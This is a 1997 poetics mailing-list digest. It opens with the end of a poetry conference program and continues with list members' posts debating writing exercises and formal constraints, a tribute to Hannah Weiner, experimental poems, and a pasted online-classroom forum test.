4. "Identity in Revolution": Some Latin American/Caribbean Poetics Silvia Lopez, Comparative Literature, University of Minnesota, Chair Bruce Campbell, Critical Studies in Discourse and Society, University of Minnesota, "Revolutionary Death and the Phantom Public Sphere" Loretta Collins, English Department, University of Iowa, "Trouble It: Rebel/Revel Soundspace in the Caribbean Diaspora: A Bricolage of Recorded Interviews, Snapshots, Poem Fragments, and Popular Music" Michael Eldridge, English Department, Humboldt State University, "'I Am Going to Buy Me a Bungalow': Calypso Comes to the U.S." Robert Zamsky, Program in Poetics, SUNY-Buffalo, ""The Anterior Question: Cultural Fetishism in the Poesis of Aimé Cèsaire"

11:30-1:00 LUNCH BREAK

1:00-2:10, PANELS:

1. Questioning Disciplinarity Jigna Desai, English Department, University of Minnesota, Chair Aldon Nielsen, English Department, Loyola Marymount University, "Can Cultural Studies Speak Poetry?" Sw. Anand Prahlad, English Department, University of Missouri-Columbia, "Getting Happy: From Ethnopoetics to Cultural Poetics (Ethnographic Writing: A Contested Discourse)" Hilton Obenzinger, Program in Modern Thought and Literature, Stanford University, "Writing (In) the Past"

2. Canadian Multiculturalism
Christopher Bracken, English Department, University of Alberta, Chair
Fred Wah, "Race Writing the Lyric Poetic"
Jeff Derksen
Roy Miki, "Can I See Your ID? Writing in the Age of 'Race' Codes that Bind"

3. READING:
Kimberly TallBear
Mary Ann Cain
George Kalamaras
Jeff Hansen
Introductions by Carolyn Erler

4. READING:
Kenneth Sherwood
Norman Finkelstein
Skip Fox
Hank Lazer
Introductions by Anna Reckin

2:20-3:30, PANELS

1. Performance and Poetics in a Feminist Theater Teirab AshSharif, African and Afro-American Studies, University of Minnesota, Chair Amy Levine, Critical Studies in Discourse and Society, University of Minnesota, "Women and Performance in Morocco: The Case of the Shikhat" Rebecca M. Brown, Department of Art History, University of Minesota, "Femininity and Muharram: Nineteenth Century British Representation" Negar Mottahedeh, Critical Studies in Discourse and Society, University of Minnesota, "Maybe Some Other Time: Bahram Bayza'is Film Language"

2. Ethnography/Sound/Poetics
David Michalski, School for the Visual Arts, Chair
Michelle Kisliuk, Department of Music, University of Virginia, "Musical Performance, Field Experience, and the Poetic Frontier"
Stephen Cope, Literature Department, UC-San Diego, "The Ethnography of Sound: Possession and (Dis)possession in Nathaniel Mackey's Novels"

3. Performance
Patrick Scully, Chair
Derek Goldman, Performance Studies, Northwestern University, "The Poetics of Adaptation: From a Miniscule Conference Room to a 500-Seat Thater: Staging Fiction and Ethnography in Leon Forrests' Divine Days and Roger Lancaster's Life is Hard"
Susan Jahoda, Department of Studio Art, University of Massachusetts, "Frictional Contacts and Other Stories"
Leanne Trapedo Sims, "The Mikvah: Women's Songs"

4. READING
Paul Naylor
Loss Pequeno Glazier
Jen Hofer
Fred Wah
Introductions by Walter Lew

3:45-5:00 READINGS

1. Wendy Rose
Barbara Tedlock

Maurice Kenny
Armand Schwerner
Introductions by Dale Kakkak, Menominee Nation

5:00-7:00 DINNER BREAK

7:00-8:30 KEYNOTE READING AT THE MUSIC DEPARTMENT RECITAL HALL
KAMAU BRATHWAITE
Introduction by John Wright, University of Minnesota

8:45-CLOSING, CAMPUS CLUB RECEPTION, BAR, OPEN READING

SUNDAY OCTOBER 19

8:45-10:00 AM, PANELS

1. "Language Advisory": CD/Radio Poetix
Erik Belgum, VOYZ Productions, Chair
cris cheek, "On the Work of Bob Cobbing"
Martin Spinelli, Line/break, "Language Advisory: Poetry on Public Radio"
Rob Fitterman, NYU, "Millenial Appropriations"

2. Asian American Performance
David Mura, Asian-American Renaissance, Chair
Thomas Kim, English Department, Boston College, "Resistance Inter Dicta: Representation, Materiality, and Language in Theresa Hak Kyung Cha's Dictée"
Juliana Chang, English Department, Boston College, "Poetry that Matters: Inscribing the Racialized Body"
Heinz Insu Fenkl, Eastern Michigan State University, "Surgical Mercy"

3. Some Jewish Poetics Riv-Ellen Prell, Program in American Studies, University of Minnesota, Chair Norman Finkelstein, English Department, Xavier University, "Messianic Ethnography: Rothenberg's Poland/1931" Amy Nestor, English Department, SUNY-Buffalo, "Noting Traces: Entries of Culture Lost in Zapisnik Pana Pinkeho (the Diary of Mr Pinke) by Ewald Murrer" Eric Murphy Selinger, English Department, DePaul University, "California Kaballah: The Roots and Branches of Tree 1-5 (1970-75)"

4. READING:
Andrew Schelling, Naropa Institute
Jane Augustine
Michael Heller, NYU
Introductions by George Kalamaras

10:15-11:30, KEYNOTE ADDRESS AT THE NOLTE CONFERENCE CENTER
KIRIN NARAYAN, UNIVERSITY OF WISCONSIN-MADISON

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243. Dean Taciuch
Re: writing exercises
Tue 16 Sep 1997

On Tue, 16 Sep 1997, henry wrote:

> *Yes, "exercises" can bring a breath of fresh air & liberation & play into the writing process. . .*

fresh air, liberation and play _is_ the writing process (for me anyway). It's also the reading process.

I use exercises in my writing classes--I also ask what poetry the students read. A surprising number of them read very little (this is an undergrad class, and many take it for elective credit). I see plenty of thoughtless form, sentimental content, etc. Exercises are a way to break out of that, as is reading. Etc etc.

Dean

↑ Index

244. robert drake
Re: Writing experiments
Tue 16 Sep 1997

mention of Oulipo reminds me to mention a newish book i picked up last week in toronto: _Oulipo Laboratoy_ (Atlas Press, London 1995) featuring works by Queneau, Calvino, Fournel, Berge, Jouet & Mathews... important stuff that i think can legitimatly claim to be "experimental", so the title seems approp... glad to have another source, beyond the U. of Nebraska anthology, and more is promised.

& while i'm here: several years ago, i was stuck w/ what seemed like a promising fragment... & set myself the task of recycling the vocabulary from that poempart to complete th poem... i liked the results quite a bit--th puzzle of reusing each of the original words in new arrangements forced me to refocus on the language material rather than my ideas or emotions or whatever, and the echoing/repetions added some sonic interest, i thot. you could base an excersize on that, i think, & praps students wd learn something by confronting those processes & concerns--that cd be of use, whether or no the resulting "poems" were any "good"... i kinda meant to go back and try that technique again mself, but never got around to it... but at what point would that become gimmimimicry? (thanx fr that word, henry!) when the results were no longer interesting? or when the writer no longer learned anything frm the excercize?

asever
luigi

↑ Index

245. **Douglas Barbour**

Re: Writing experiments

Tue 16 Sep 1997

This has all been very interesting, and as pointed out along the way both sides are almost in agreement anyway. I note Marjorie Perloff's _Radical Artifice_ (among others) as pointing to the fact that sometimes setting up formal 'limitations' is a means by which to get into the poem. I feel good about some of the 'homolinguistic translations' which, as Bernstein & Meyer point ou, comes from bpNichol & others, because the way in which I had to think about formal constraints lead me out of the prisonhouse of lyric egotism. For that alone, they've been worthwhile. For some at least.

Certainly for David B just on the list recently. But what do we call all the work with his 'speaking figures' that Alan Jen Sondheim has been doing: who or what arew Julu & Jennifer if not formal constraints by any other name? So I agree with Henry on the one hand but have found that I can find my way toward connections with that history of poetry he seeks through such 'work,'

Then there's what I do think is a great poem, Ronald Johnson's _Radi Os_, the whole thing what I would call a form of 'homolinguistic translation' of the first four books of _Paradise Lost_ (not to mention a lot of what happens throughout _Arc_). If this be writing experimentation, let me at it.

==========
==========
Douglas Barbour
Department of English
University of Alberta
Edmonton Alberta T6G 2E5
[redacted] FAX:[redacted]
H: [redacted]
~~~
~~~

246. Layne Russell
Re: writing exercises
Tue 16 Sep 1997

mark weiss wrote:
>
> No doubt exercises or self-imposed (self-invented?) formal constraints are
> sometimes useful. It should also be obvious that sometimes a writer sitting
> alone with her thoughts can produce unique writing. To assert the opposite
> is on the face of it not only provocative, but absurd, and I hope you
> misparaphrase. Or was Emily Dickenson doing calisthenics while she composed?
>
> >As Charles Bernstein pointed out some time ago now in "Thought's Measure",
> >the writer who sits, pen in hand, alone with her thoughts, invariably
> >produces writing which is far from unique.

my god we're doomed!

Layne (sitting alone with her computer -- does that count?)

http://www.sonic.net/layne
"A Quiet Place" -- Poetry

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247. Judy Roitman
Re: Writing experiments
Tue 16 Sep 1997

> *Seems there is some idea here that a poem wrought by a method or procedure can't be as sincere or close to the bone or _____ (anything) as one which is not wrought by such method or procedure. I don't agree with that at all.*

Me too. Getting out of self-delusion, easy tricks, etc. ain't easy. Some kind of formal something (method, procedure, constraint, etc.) can be a huge help, get you a lot closer to the bone.

---------- Judy Roitman
| "Whoppers Whoppers Whoppers! Math, University of Kansas | memory fails Lawrence, KS 66045 | these are the days." [redacted]
| Larry Eigner, 1927-1996
---------- Note new area code
----

http://titania.math.ukans.edu/faculty/roitman/

↑ Index

248. **James Finnegan**
Re: writing exercises
Tue 16 Sep 1997

In a message dated 97-09-16 05:10:58 EDT, you write:

> *And what an idea, a*
> *whodunnit written entirely without the letter e, in which the murderer turns*
> *out to be the errant vowel!*

That's way too deep for me.

Miles,

Seriously, what you've said about literary history
and Perec is very good. But I don't agree (w/ C.B.)
that writing alone with one's thoughts produces
unoriginal & banal work--unless that's all one's got
in one's head. Let the exercises flourish & multiple.
I'm past my school years, so I, luckily, don't have
to endure them.

Finngan (oops, I wrote my name without the letter e)

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249. **Scott Keeney**
Re: writing exercises
Tue 16 Sep 1997

> *fresh air, liberation and play _is_ the writing process (for me*
> *anyway).*
> *It's also the reading process.>*

Yes. On the intersection of writing/reading process/praxis
(and to bring the thread back to its original question) a
good source to introduce to a (primarily undergrad?) work-
shop class would be Padgett's _Creative Reading_, which
organizes & discuses reading/writing 'exercises' both old
and new (at least new to me) in his own fun informative way.

* *

As for aphorisms and art, perhaps 'art is to hide art,' but

-- art is to reveal art --

or rather (w/ nod to Shklovsky)

-- art (re-(in-))arts art --

or but really,

-- art is always its opposite --

[image: ellipsis]

-- art , never art --

*

words, words, words,

5co++

On Tue, 16 Sep 1997 08:40:53 -0400 Dean Taciuch <[redacted]>
writes:
>On Tue, 16 Sep 1997, henry wrote:
>
>> Yes, "exercises" can bring a breath of fresh air & liberation & play
>> into the writing process. . .
>
>
>fresh air, liberation and play _is_ the writing process (for me
>anyway).
>It's also the reading process.
>
>I use exercises in my writing classes--I also ask what poetry the
>students
>read. A surprising number of them read very little (this is an
>undergrad
>class, and many take it for elective credit). I see plenty of
>thoughtless
>form, sentimental content, etc. Exercises are a way to break out of
>that,
>as is reading. Etc etc.
>
>Dean
>

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250. Eliza McGrand
compuslave
Tue 16 Sep 1997

gadzooks! aol did this to me and it was awful. so compuserve is hassling people as well? aol likes to send you their "free disks" then after you put them in, and fill out all the info, you realize, gradually, that 1) they don't work; 2) there is no cancellation information either on disk or in packaging. you are run through the gamut of long distance number after long distance number, transfer after transfer, only to find, at the end, that though you have asked, formally, to have service discontinued, been called upward of 3 or more times at home by aol salesperson asking if you are SURE you want to cancel, in fact, they never cancel you at all! e

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251. Eliza McGrand
the REAL TRUTH about the Free Cuisinart and web site
Tue 16 Sep 1997

POETICS LIST:

re http confusion on free cuis, the official, real, true url is: http://www.onnet.net/~cca/wowzine/wowzine.html

re identity issue, more later.

re turning sound off on web site, see following note from jordie:

I sent a reply to Judy Roitman, but you will have to post to poetics since I cannot post there.

Here are the instructions for turning off the sound:

If you are using Netscape or Internet explorer, then what you should have on the screen is a small box which is labeled "Crescendo." There are several buttons on that box. One of the buttons near the right end of the box has a small square on it. This button, when clicked, shuts off the music.

If you cannot do that, there is also a small red dot in the box, which is on a line above the buttons. If you right click on that red dot, and drag it to the left, the volume of the sound will go down. Thus you may shut the sound down to nothing, if you wish.

If either of these options does not work, please let us know. at [redacted] or [redacted].

IMPORTANT IMPORTANT IMPORTANT!!!

FINALLY -- we had so much fun with "Identity" issue we've decided to put together ANOTHER "theme" issue -- November issue will be on RITES OF PASSAGE

If that strikes anyone's fancy, please feel free to send poem, story, essay, prose, review, artwork, etc on idea, anything tangential but slightly connected to idea, anything contraindicting idea, etc. to jordie at [redacted], or to me at [redacted] e

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252. Jordan Davis
add ress
Tue 16 Sep 1997

Rod

that url you mentioned I think is

http://members.aol.com/jordan70/million/1.html

okdokey

J

↑ Index

253. Christopher Alexander
(belated)birthdaycard for Jackson Mac Low
Tue 16 Sep 1997

---

well, I'd send it to him, but I don't have his address.
Chris

--

(belated)birthdaycard
  for Jackson Mac Low

In 1921, "nineteen"
,might we thinking.

"eat bugs": it's um
terrific set of nutri
tional means. that
is "nineteen&one"
but fortified is On.

"ink bugs": it's a
"ribbed seeks pro
portional", i.e.,

(HUM)

"anydaynow" the

# of Originals =
Copies of Each.

--

..
Christopher W. Alexander etc.
nominative press collective

[redacted]
P.O. Box 522402 / Salt Lake City UT 84152-2402

http://choengmon.lib.utah.edu/~calexand/nonce

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254. Henry Gould
more exercise
Tue 16 Sep 1997

---

some final (maybe) heresies on this subject. I love preaching to the unconverted. Poetry is the supreme art. This is an old-fashioned view. It is the synthesis in its own sphere of architecture, music, incantation, performance, philosophy, theatre. When St. Mandelstam said "classicism is revolution" he was not referring to some chilly intellectual realm but to the pre-socratic Greece of Nietzsche in which dionysian & apollonian elements (energy & intellect) are fused in incantation. the only way such fusion takes place is where there is disciplined frenzy. Knowledge & inspiration. Poetry is rare as well as everywhere. I don't know honestly if I've ever produced poetry by this definition. But I think that's what it is, as opposed to versifying, writing, or exercises. It's a kind of formality which seems alien to a lot of the postmodern ethos. The challenge is to reintroduce this sense of poetry in a contemporary world absorbing contemporary history & experience. & it might appear in unexpected places. All I'm thinking is that along with empowering writers in a classroom setting - show them the real thing. Encourage them to lift their eyes to the mountains. & play them some old blues while you're at it. - Henry gould

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255. Robert Hale
QUESTION FOR TRUE POETS
Tue 16 Sep 1997

A few critics have dismissed my poems as not being poems and have dismissed me as not being a poet. But one principle of criticism has it that only true poets can recognize poetic creativity or function as critics of poetry -- and that the only true poets are those whose work conveys genuine poetic creativity. But I have read the work of these critics; none of it demonstrated poetic creativity. These critics' judgements should be rejected, since these critics are not true poets

The argument above is vulnerable to criticism on the grounds that it

(A) Presupposes what it sets out to conclude, since the principle requires that only true poets can determine whether the critics' work demonstrates creativity

(B) uses the distinction between poets and critics as though everyone fell into one category or the other

(C) gives no justification for the implicit claim that the standing of a poet can be judged

(D) makes an unjustifiable distinction, since it is possible that some critics are also poets

(E) inevitably leads to the conclusion that poets can never learn to improve their poetry, since no poet is in a position to criticize his or her own work

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256. Thomas Bell
Re: Writing experiments
Tue 16 Sep 1997

I have been recycling myself in a way and I think to good effect. I have also been putting my words into drawings and finding this worth doing. http://www.public.usit.net/trbell if interested. tom bell

At 09:37 AM 9/16/97 -0400, robert drake wrote:
>mention of Oulipo reminds me to mention a newish book i picked
>up last week in toronto: _Oulipo Laboratoy_ (Atlas Press, London
>1995) featuring works by Queneau, Calvino, Fournel, Berge, Jouet
>& Mathews... important stuff that i think can legitimatly claim
>to be "experimental", so the title seems approp... glad to have
>another source, beyond the U. of Nebraska anthology, and more is
>promised.
>

>& while i'm here: several years ago, i was stuck w/ what seemed
>like a promising fragment... & set myself the task of recycling
>the vocabulary from that poempart to complete th poem... i liked
>the results quite a bit--th puzzle of reusing each of the original
>words in new arrangements forced me to refocus on the language
>material rather than my ideas or emotions or whatever, and the
>echoing/repetions added some sonic interest, i thot. you could
>base an excersize on that, i think, & praps students wd learn
>something by confronting those processes & concerns--that cd be
>of use, whether or no the resulting "poems" were any "good"...
>i kinda meant to go back and try that technique again mself, but
>never got around to it... but at what point would that become
>gimmimimicry?(thanx fr that word, henry!) when the results were
>no longer interesting? or when the writer no longer learned
>anything frm the excercize?
>
>asever
>luigi
>
>

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257. **red slider**
Re: more exercise
Tue 16 Sep 1997

---

some final (maybe) heresies on this subject. I love preaching to the unconverted. Poetry is the supreme art. This is an old-fashioned view. It is the synthesis in its own sphere of architecture, music, incantation, performance, philosophy, theatre. When St. Mandelstam said "classicism is revolution" he was not referring to some chilly intellectual realm but to the pre-socratic Greece of Nietzsche in which dionysian & apollonian elements (energy & intellect) are fused in incantation. the only way such fusion takes place is where there is disciplined frenzy. Knowledge & inspiration. Poetry is rare as well as everywhere. I don't know honestly if I've ever produced poetry by this definition. But I think that's what it is, as opposed to versifying, writing, or exercises. It's a kind of formality which seems alien to a lot of the postmodern ethos. The challenge is to reintroduce this sense of poetry in a contemporary world absorbing contemporary history & experience. & it might appear in unexpected places. All I'm thinking is that along with empowering writers in a classroom setting - show them the real thing. Encourage them to lift their eyes to the mountains. & play them some old blues while you're at it. - Henry gould

Henry,

heresy is never final as soon as its uttered there's another looking back at you -

For you, for them+many the classroom is the REEL thing and if some culd write that gesture - mark&pin it - under the glass/The strew in that little pressure cooker/looker out the window then indeed that might be a mightyverse described. But to dislocate the real/wheel about everytime someone says, 'What can you you there?' well, i'd like to see that wheal as well. The knack of that/the techne to mark the circle as its own target well, why look elswhere for a trick once turned that can be transferred to any reel whorehouse anywhere? In the class, in the exercise itself are cramps yet to be clamped and squeezed and unprosed. and, were I that, a student a teacher there and could learn to attend just that, to focus it precisely, but, for those of us who live another exercise its much the same - we read stare the window down till we finally getit where we are. no?

to expand on Bateson, are we in the alternate of a period of investigative formalism, an orgy of loose thinking or, a time of just plain maybe?

red

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258. **mark weiss**
Re: writing exercises
Tue 16 Sep 1997

No doubt exercises or self-imposed (self-invented?) formal constraints are sometimes useful. It should also be obvious that sometimes a writer sitting alone with her thoughts can produce unique writing. To assert the opposite is on the face of it not only provocative, but absurd, and I hope you misparaphrase. Or was Emily Dickenson doing calisthenics while she composed?

> *As Charles Bernstein pointed out some time ago now in "Thought's Measure", the writer who sits, pen in hand, alone with her thoughts, invariably produces writing which is far from unique.*

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259. **Mark Baker**
Re: writing exercises
Tue 16 Sep 1997

Dickinson, as we know her, never sat alone with her thoughts. The sounds and restraints of the hymn stanza were her calisthenics--an exercise to isolate certain muscles (or rhythms) and promote the creation of beauty.

Why anyone has to quote Bernstein for this puzzles me. This is surely a critical cliche. Auden and any number of poets likely detested by many on this List have uttered similar apothegms. The serious disagreement concerns the originality or radicalness of the restraint, not its presence.

Mark Baker

On Tue, 16 Sep 1997, mark weiss
wrote:

> *No doubt exercises or self-imposed (self-invented?) formal constraints are sometimes useful. It should also be obvious that sometimes a writer sitting alone with her thoughts can produce unique writing. To assert the opposite is on the face of it not only provocative, but absurd, and I hope you misparaphrase. Or was Emily Dickenson doing calisthenics while she composed?*
>
> *As Charles Bernstein pointed out some time ago now in "Thought's Measure", the writer who sits, pen in hand, alone with her thoughts, invariably produces writing which is far from unique.*

↑ Index

260. red slider

a little poem

Tue 16 Sep 1997

Chronos - Eater of Children

Do not sing the path of greatness,
For it was writ by the large to seduce the small,
What elevates the song, the word that moves
 beyond the "petty" thoughts of self-annoyance,
was writ by those that eat the small.

That which does not move beyond itself,
"Transcend," so they say, so they say
may be very good, so they say; But,
But, But But But But But,
"Only that which reaches beyond itself,
makes the extra gesture," to what?
To praise the eater of children,
who die starving at the banquets
of "Just Say No",
whose gods are manufactured
to just say this, and no more?

↑ Index

261. Jordan Davis
utter apothegms
Tue 16 Sep 1997

Likewise, it makes me queasy to assume that Auden is detested by many on this List -- hard to imagine that he would make anybody uneasy, or angry! at this late date, and harder to imagine that he wouldn't be seen as a genial forebear of Ashbery, and O'Hara, and Schuyler, and Koch?...

Signed,
Jordan

who would like to invite those on this List in the Greater Brooklyn area to come to Charleston Bar tomorrow night at 9 pm (on Bedford Ave betw. N 7th and N 8th, that is, not far from the Bedford St stop on the L) to hear Anselm Berrigan read his terrific poems --

At 2:47 PM -0700 9/16/97, Mark Baker wrote:

> *Why anyone has to quote Bernstein for this puzzles me. This is surely a critical cliche. Auden and any number of poets likely detested by many on this List have uttered similar apothegms. The serious disagreement concerns the originality or radicalness of the restraint, not its presence.*

↑ Index

262. Loss Pequen~o Glazier
Re: Hannah Weiner (1928-1997)
Tue 16 Sep 1997

: Biblio Whee graphy :

: for Hannah Weiner : some Annotations :
. . . . . .

A Journal Entry's (1975) striking cover photo
the - w - o - r - d - floats; it is upon a forehead
this is the forehead upon which we spe - a - k -
cast like hand puppets on a curtain - full caps s
& ghosts of - l - e - t - t - e - r - s - as o, Taos

of *little books/indians - a composition book* (8
indige'nes mention the ladinos o no sajones (0
on the roof of speckled black and white bords

"& it didn't
hurt
POCKETS"

(39) caps and verticality nearly dizz (iness)

turning tuning to a *spoke* - seven faced with
tongues from the Beatus of Ferdinand II &
Sancha of Aragon Biblioteca Nacional de Madrid
"name calls it the point" (104) in latters or
gondola-crossing bridges of lines - fragile as
letters lattice bridg waters as thy must. the
prose fast (1992) its blak tiger con leopard
leaping into paper smooth day milk from bare
legs & linen "a neat 3X4 inch piece of cloth
was in its place on the floor" (15)

* w e e k s * photog 90 b barbar rosenthal
mac spread palettes - i c mac type - i c dot
mtrx - pointilsof img - photo montage - type
faced and pointilate - "the latest finger-
print technology" (unpaged) "were hit with
shrapnel" (unpaged) "there is no other peace-
ful way to reform" (unpaged) sumptous shape
and weighty planes in pink bold cover stock

(1983) AWEDE * S 1 6 I 1 6 X 1 6 T 1 6 E 1 6
E 1 6 * moves in white paper slips "within it
was written we are enlarged pancreas" (unpa)
. . . . . .
"W R I T E I T D O W N - sixteen sentences s
 G R A N D M O T H E R - een this summe 1982
. . . . . .
the following is ALL SEEN AS WORDS BEFORE i"
. . . . . .
seen through a half slip of half-light the
translucent inserted sheet printed in red

muted mouth and blazed chalk board wiped
* sileNt teachers : remeMbered sequel * (199
4) "spelling error off the continue"(17) who
what 'classical' b&w pose - for the classi
        "whee
        i fe i phd" (38)
a lesson to all who value educachievement

CPDE {OEMD (1982) "from the INTERNATIONAL
CPDE OF SIGNALS for the Use of All Nation"
the closest I have seen to poems in hex
code or how the 8 bit or 7 binary hex dex

Loss =?iso-8859-1?Q?Peque=F1o_?= Glazier
maysheekos antiguos? Or my son who con-
fused his words and instead of tex-mex
called me techno-mex. Vale! The Trans-Pe-
cos and Rio Grande delta. Mexico City
how letters speak from xwords from xfor

:U=i :Ui : "In addition each flag has a
name; A, Alpha, B, Bravo, C, Charle, etc"
rich with code and black palettes upon
which in scratchmarks engraved are point
s & boxes mores or bin or MARC morse cod

Nijole's house in white covers white card
stock and folded endpages 1981 ("WHICH
IS THURSDAY") (written on Tuesday (son)
con IfnNXIO pIN~EIRO su Cuatro Palomas)

until finally *we do speak silent we speak si-
lent* (1996) tex al mos com for tab ly spr'e'd
out lent op ulent of graphs t words have azes
axes aztec hu nk ed for whitesp ace in the so
"1 funny 2 hilarious i am imperious 3 struck"
(21) or for bob dylan (as post card indicates)

Post Neo's *WRITTEN IN THE ZERO ONE* this g
ray coverstock is sumptu a size iz red
courier but big type as if pressed into
gray ripples of the 'bord' the ex panse i
s where amid this good size for page ii
expn broad blanks o backsides and the wh
ii te is a wealth of what is y iznt in its
ordered steps like ladders or diamond pat
terns on the ball court walls (1990):

. . . . . .

"book
is what it
is called and
this is the last
page still slanti
out to the margin"
...
AND THIS PAGE"
(unpaged)

. . . . . .

Loss Pequen~o Glazier

↑ Index

263. **Loss Pequen~o Glazier**
Re: Hannah Weiner (1928-1997)
Tue 16 Sep 1997

I have been working on "Hannah Weiner (1928-1997): An Online Tribute." This extended forray into HTML is is nearly complete. If you have anything special to contribute to the issue, please let me know. (Write me directly at [redacted] if you wish.) Otherwise, the issue is almost complete and should be ready soon. The issue should be ready, graphics-enhanced, and viewable in a couple of days via the EPC home page. (Photos are especially sought. Write me!)

↑ Index

264. **Markus Foutu**
Re: QUESTION FOR TRUE POETS
Wed 17 Sep 1997

---

stop carping and go do your work

markus

↑ Index

265. **Alan Jen Sondheim**
From Jennifer with ALL the obvious excuses...
Wed 17 Sep 1997

> *From Jennifer, on the Attitudes of the Arthropods:*
>
> *Now I will note the attitudes in the time of the arthropods,*
> *When helmetted Zor ran his lanky legions around the army of Murr.*
> *The golden-haired maiden, with three drops of blood, christianed*
> *The sword of the family of Aral, born of the dank ruins of Drur.*
> *Those times past the ruins of Feggard! Ah for the mead and the storm!*
> *Such moments of these, like the falling of peas, take us away*
> *From the norm!*

↑ Index

266. **Alan Jen Sondheim**
Jennifer's Ponder
Wed 17 Sep 1997

-

Jennifer's Ponder

"Such moments of these, like the falling of peas, take us away / From the norm!"

Jennifer ponders: "Such moments _of_ these" (her emphasis)? Moments of what, perhaps, what came before in the poem? Mead, storm, and ruins and some other stuff, perhaps the drops of blood, there was an implication of a castle, certainly a fortress, god knows what else. Not to mention (why not?) the arthropods ...

But then, hmmm ...

"Such moments _like_ these, _like_ the falling of peas" does seem to over- do it, these moments don't have to double up, quite, but they do! Hee hee!

So she considers "take us away from the norm!" might absorb (like her pan- ties in a puddle!) the grammar that came before, just a bit off-putting.

And lets it alone, but wanted you to know this all along ...

↑ Index

267. David R. Israel
Re: compuslave
Wed 17 Sep 1997

Eliza --

brilliant!

(I assume this is all a coyly crafted Buddhist metaphor ???)

cheer,
d.i.

p.s.: in case you didn't hap to read the gneus, Compuserv is slated to be bought out by AOL . . .

> *gadzooks! aol did this to me and it was awful. so compuserve is hassling people as well? aol likes to send you their "free disks" then after you put them in, and fill out all the info, you realize, gradually, that 1) they don't work; 2) there is no cancellation information either on disk or in packaging. you are run through the gamut of long distance number after long distance number, transfer after transfer, only to find, at the end, that though you have asked, formally, to have service discontinued, been called upward of 3 or more times at home by aol salesperson asking if you are SURE you want to cancel, in fact, they never cancel you at all! e*

↑ Index

268. Alan Jen Sondheim
ATTACK on a POEM by WILLIAM BUTLER YEATS
Wed 17 Sep 1997

-

ATTACK on CRAZY JANE TALKS WITH THE BISHOP by WILLIAM BUTLER YEATS

What an idiot Bishop! I met the Bishop on the road He should be in church! Shut him up, evil church! And much said he and I. He talks too much! Guilty of ageism! 'Those breasts are flat and fallen now, Sexless Bishop! Just for children, eh! Those veins must soon be dry; Stop looking! Sure he didn't say that! Live in a heavenly mansion, Where he gropes you! Liar, liar, you wouldn't know! Not in some foul sty.' Beauty, beauty!

True, but shut him up! 'Fair and foul are near of kin, Yeats is also foul! The poet's in love! And fair needs foul,' I cried. Liar! He denies it! Oh yeah, shut up Yeats! 'My friends are gone, but that's a truth (Lie!) Depression and love, eh? Nor grave nor bed denied, Forget Donne, Yeats! Idiot! Raise the body! Learned in bodily lowliness Don't screw with it! Give her your heart! And in the heart's pride. Why not! She struggled!

Yeah, don't generalize! 'A woman can be proud and stiff Written by a man! Men need women more than women need men! When on love intent; Admit it! Back to the mansion again! But Love has pitched his mansion in Anal sex! So what! The place of excrement; You can't face it, Yeats, can you? What about the Man! For nothing can be sole or whole He's broken in two! More parts, three! That has not been rent.' Liar, broken Man, idiot!

↑ Index

269. red slider
The Poemercise
Wed 17 Sep 1997

Alan dinero of Taverner's Koans invited me to try out his new 'emergency' forum system at his new cite. It's a Nicenet offering which promotes itself as an 'online classroom' format. The resulting test turns out to be a much better poem_de_terre, than the original test data. In addition, the poem within the poem _Symphony_ which was pasted in to test the frame input capacity turns out far better than the original which was nicely indented and line broken to exagerate the voices. Once pasted - Nicenet input frame obligingly demolished all the

indents and spacing and provided its own far more successful version - the exercise writes the poem and the classroom is the reality of exercise. If you don't like it, complain.

<Picture: Nicenet><Picture: Classroom Internet Assistant>red slider Wednesday, September 17, 1997 1:06AM CST
---------- Home
---------- Poetry Workshop

Class Conferencing

Link Sharing

Documents

Schedule

Class Roster

---------- Send a Personal Message

View Personal Messages

Edit Your User Info

Join a New Class

Create a Class

PROTECT YOUR PRIVACY:
LOG OUT

Class Conferencing

"Welcome to the new forum!" Conference:

POSTED BY: Alan DeNiro - 9/8/97
SUBJECT: Wow...
[Reply to Topic | Reply to Alan]

Well, folks, we'll see how this works itself out, as a test of, so to speak, the emergency broadcast system of taverner's koans.

POSTED BY: Alan DeNiro - 9/9/97
SUBJECT: sub
[Reply to Topic | Reply to Alan]

x x x x x x x x x x x x x x x x x x x

POSTED BY: red slider - 9/17/97

SUBJECT: um this seems fainly like...
[Reply to Topic | Reply to red]

ahhh yes a classroom - musty dank adrenal glandular first day papers names tiny windows out of which we stare waiting in lye vats of lab rats coated tongues bloated bodies lined on target tarmac waiting for jet teachers to arrive with briefcases chained to loan payment schedules poets ignite! Make my thumbs sweat, yeah, make 'em sweat.

Der hare professori - we wazza here anna you wazzana nowz youzza her anna we wazzana. Somma glass hey luigi! letza go bocci balla...sayonara. redanzo

---
POSTED BY: red slider - 9/17/97
SUBJECT: THIS IS A TEST OF THE ERMINAGENCY
[Reply to Topic | Reply to red]

BOARDCASTING CISTERN

(TESTING BROAD BAND SIMULATION OF IMMAMENT MONONUCLEOTIC POEMB ATTACK.....

Symphony

Your words between cement& sympathy

chunks of private ceremonies ikebana for roses bitter tea in dirty glasses

breaking through corrosive bands of salt dissolving hardened parts fusing in-testines fomaldyhide

vapors of tears drum rolls in your belly slow tar beats on sticky practice pads to shut out neighbor's screams the world sky oozing meadows leaking from the side of your mouth

dry as violin resin flaking away the lips of your vagina speech less cracked& dry salt bands of colorless brick

the mortician standing by; she has been probing the silence between your legs,

your fame precedes you to this place your famous words

flinging themselves into nights of drum rolls

seamless as the petals of crushed frangipani your skin stretched over the stove of your body

I put a lamp inside to keep you warm to shine into the pale horrors of the world the dry skin stretched over frames lit from within hanging in the sun to dry

your proteins still puddled on the gurney the guilt still dripping from her fingers her eyes of frightened jellyfish as I lean over

& bite your toe off below the purple tag

and taste the sweet salty tears hiding from probings into your useless body cavities

& tie it within the sash around my waste to hurry home to practice what you taught me about the timpani of trees while your toes fucked me in the tall leaves I pressed into blades of cement meadowgrass until quitting time and hurried home to find you there with a new work in one hand humming the second violins the other stirring my insides into swirls of Clara Schumann muffins your breath fumes bread-ethanol tongue rolls in imitation of oysters we will later funnel into each others mouths through leaking fingers stoppered with your slow-toed teasing

"later, patches, go stir your kettles. boil my blood into cloud gathers"

watching from the studio as chain kettles affirm the meanings in second violins sustaining them offering them violincellos, then cellos then tremolo rising falling woman shading the clouds rolling overhead firming tossing boiling into full arpeggios with the muted end of tomorrow night's performance

your hums muting into words over felt covers that you insert into my body in eighths against my quarters sixteenths against eighths thirty seconds sixty-fourths into polished moonstones of coda swirling on the end of my favorite felt-core rollerball resolving your form your tears your oysters leaking from my eyes

your name under the fluorescent smear of last night's appetizers her thumbprint whorled

